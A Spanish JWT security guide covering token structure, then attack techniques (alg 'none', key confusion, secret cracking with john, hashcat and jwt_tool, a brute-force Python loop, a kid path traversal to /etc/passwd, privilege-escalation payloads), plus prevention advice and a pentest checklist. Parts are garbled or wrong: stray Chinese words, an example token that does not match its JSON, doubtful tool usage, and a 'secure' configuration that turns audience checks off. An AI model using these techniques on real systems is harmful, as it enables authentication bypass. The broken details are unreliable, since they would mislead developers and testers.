JWT (JSON Web Token) - Guía Completa
JWT (JSON Web Token) - Guía Completa
1. Fundamentos de JWT
1.1 Qué es JWT
JWT es un estándar para crear tokens de acceso que permiten la transmisión segura de información entre partes como objetos JSON. Es comúnmente usado para autenticación y autorización en APIs REST.
1.2 Estructura del JWT
Un JWT tiene tres partes separadas por puntos:
header.payload.signature
Ejemplo:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9sbCIsImlhdCI6MTUxNjIzOTAyMn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Header (Cabecera)
Contiene el algoritmo de firma y el tipo de token:
{
"alg": "HS256",
"typ": "JWT"
}
codificado en Base64URL:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
Payload (Carga útil)
Contiene los claims (declaraciones):
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022,
"admin": true
}
codificado en Base64URL:
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9sbCIsImlhdCI6MTUxNjIzOTAyMn0
Signature (Firma)
Verifica que el mensaje no ha sido modificado. Se calcula con:
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret_key
)
2. Claims Standard
2.1 Registered Claims
| Claim | Descripción |
|---|---|
| iss | Issuer (emisor) |
| sub | Subject (sujeto) |
| aud | Audience (audiencia) |
| exp | Expiration Time (tiempo de expiración) |
| nbf | Not Before (no antes de) |
| iat | Issued At (emitido a las) |
| jti | JWT ID (identificador único) |
2.2 Public Claims
Claims definidos por el usuario pero registrados en el IANA:
- name, email, role, permissions
2.3 Private Claims
Claims personalizados para compartir información entre partes que acuerdan usarlos:
{
"username": "admin",
"role": "administrator",
"department": "IT"
}
3. Algoritmos de Firma
3.1 Algoritmos Simétricos (HMAC)
| Algoritmo | Descripción |
|---|---|
| HS256 | HMAC con SHA-256 |
| HS384 | HMAC con SHA-384 |
| HS512 | HMAC con SHA-512 |
Problema: Si el servidor acepta múltiples algoritmos, un atacante puede cambiar de HS256 a None.
3.2 Algoritmos Asimétricos (RSA/EC)
| Algoritmo | Descripción |
|---|---|
| RS256 | RSA con PKCS#1 v1.5 SHA-256 |
| RS384 | RSA con PKCS#1 v1.5 SHA-384 |
| RS512 | RSA con PKCS#1 v1.5 SHA-512 |
| ES256 | ECDSA con P-256 SHA-256 |
| ES384 | ECDSA con P-384 SHA-384 |
| ES512 | ECDSA con P-521 SHA-512 |
4. Técnicas de Ataque
4.1 Algorithm None Attack
El servidor ignora la firma si el algoritmo se establece como “None”:
import jwt
token = jwt.encode({"user": "admin"}, "", algorithm="none")
print(token)
Payload a enviar:
{
"alg": "none",
"typ": "JWT"
}
{
"alg": "none",
"user": "admin"
}
Detección:
# Verificar si acepta none
jwt.decode(token, options={"verify_signature": False})
4.2 Key Confusion Attack (RS to HS)
Cuando el servidor usa RSA para firmar pero acepta HMAC:
- Obtener la clave pública del servidor
- Crear un token usando la clave pública como clave HMAC
- Enviar con algoritmo HS256
Pasos:
# Obtener clave pública (de certificado o JWKS)
public_key = """-----BEGIN PUBLIC KEY-----
...
-----END PUBLIC KEY-----"""
# Firmar con HMAC usando la clave pública
import jwt
token = jwt.encode(
{"user": "admin"},
public_key,
algorithm="HS256"
)
4.3 Weak Secret Attack
Si la secret es débil, se puede crackear:
# Con john
john --wordlist=rockyou.txt jwt_hash.txt
# Con hashcat
hashcat -m 16500 -a 0 jwt.txt wordlist.txt
4.4 Crackear JWT con jwt_tool
# Instalar
pip install jwt_tool
# Crackear
jwt_tool <token> -d wordlist.txt
# Fuerza bruta
jwt_tool <token> -C
4.5 Crackear con crowbar
# Instalar
pip install crowbar
# Uso
crowbar -b jwt <token> -d wordlist.txt
4.6 JWK Injection
Si el servidor usa JWK (JSON Web Key) para verificar:
{
"alg": "RS256",
"kid": "valid-key"
}
Un atacante puede añadir su propia clave al JWK endpoint:
#Enumerar JWKS
curl https://target.com/.well-known/jwks.json
4.7 Kid (Key ID) Injection
Si el token usa kid para seleccionar la clave:
token = jwt.encode(
{"user": "admin", "kid": "../../../../etc/passwd"},
"secret",
algorithm="HS256",
headers={"kid": "../../../../etc/passwd"}
)
5. Herramientas
5.1 jwt_io (Decoder)
Página web: https://jwt.io/
Permite decodificar y verificar JWTs.
5.2 jwt_tool
# Decodificar
jwt_tool <token>
# Crackear dictionary
jwt_tool <token> -d rockyou.txt
# Crackear rainbow
jwt_tool <token> -C
# Forge nuevo token
jwt_tool <token> -S new_secret
# Explotar none attack
jwt_tool <token> -N
5.3 jwt爆破
import jwt
import time
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
with open("wordlist.txt") as f:
for word in f:
word = word.strip()
try:
jwt.decode(token, word, algorithms=["HS256"])
print(f"Found: {word}")
break
except:
continue
5.4 Crear Token con Python
import jwt
import datetime
# Crear token
token = jwt.encode(
{
"user": "admin",
"role": "administrator",
"exp": datetime.datetime.utcnow() + datetime.timedelta(hours=1)
},
"secret_key",
algorithm="HS256"
)
print(token)
# Decodificar
decoded = jwt.decode(token, "secret_key", algorithms=["HS256"])
print(decoded)
6. Payload Útiles
6.1 Escalación de Privilegios
{
"user": "admin",
"role": "user"
}
Cambiar a:
{
"user": "admin",
"role": "administrator"
}
6.2 Bypass de Expiración
Quitar el claim exp:
{
"user": "admin",
"exp": null
}
6.3 Cambiar Usuario
{
"user": "other_user"
}
Cambiar a:
{
"user": "admin"
}
6.4 Claims Comunes
# Añadir expiration futura
exp: 1893456000
# Añadir issued at
iat: 1516239022
# Remover claims de tiempo
7. Prevención
7.1 Recomendaciones para Desarrolladores
- Usar algoritmos asimétricos (RS256, ES256)
- Validar el algoritmo esperado
- Verificar la clave mediante kid o jku
- Usar secretos fuertes
- Validar expiración
- No信任ar algoritmos múltiples
7.2 Configuración Segura
import jwt
# Siempre especificar algoritmo
jwt.decode(
token,
secret,
algorithms=["HS256"],
options={
"verify_signature": True,
"verify_exp": True,
"verify_aud": False
}
)
7.3 Bibliotecas Seguras
| Lenguaje | Biblioteca recomendada |
|---|---|
| Python | PyJWT |
| Node.js | jsonwebtoken |
| Java | jjwt |
| Go | jwtgo |
8. Checklist de Pentesting
8.1 Enumeración
1. Capturar JWT
2.Identificar algoritmo
3. Ver estructura (header.payload.signature)
4.Enumerar endpoint de JWKS
8.2 Ataque
1. Probar Algorithm None
2. Probar Key Confusion
3. Crackear secret debil
4. Injección de kid
5. Modificar payload
8.3 Verificación
1. Probar token modificado
2. Verificar con PyJWT
3. Documentar hallazgos
9. Referencias
- OWASP: https://owasp.org/www-project-web-security-testing-guide/
- jwt.io: https://jwt.io/
- jwt_tool: https://github.com/ticarpi/jwt_tool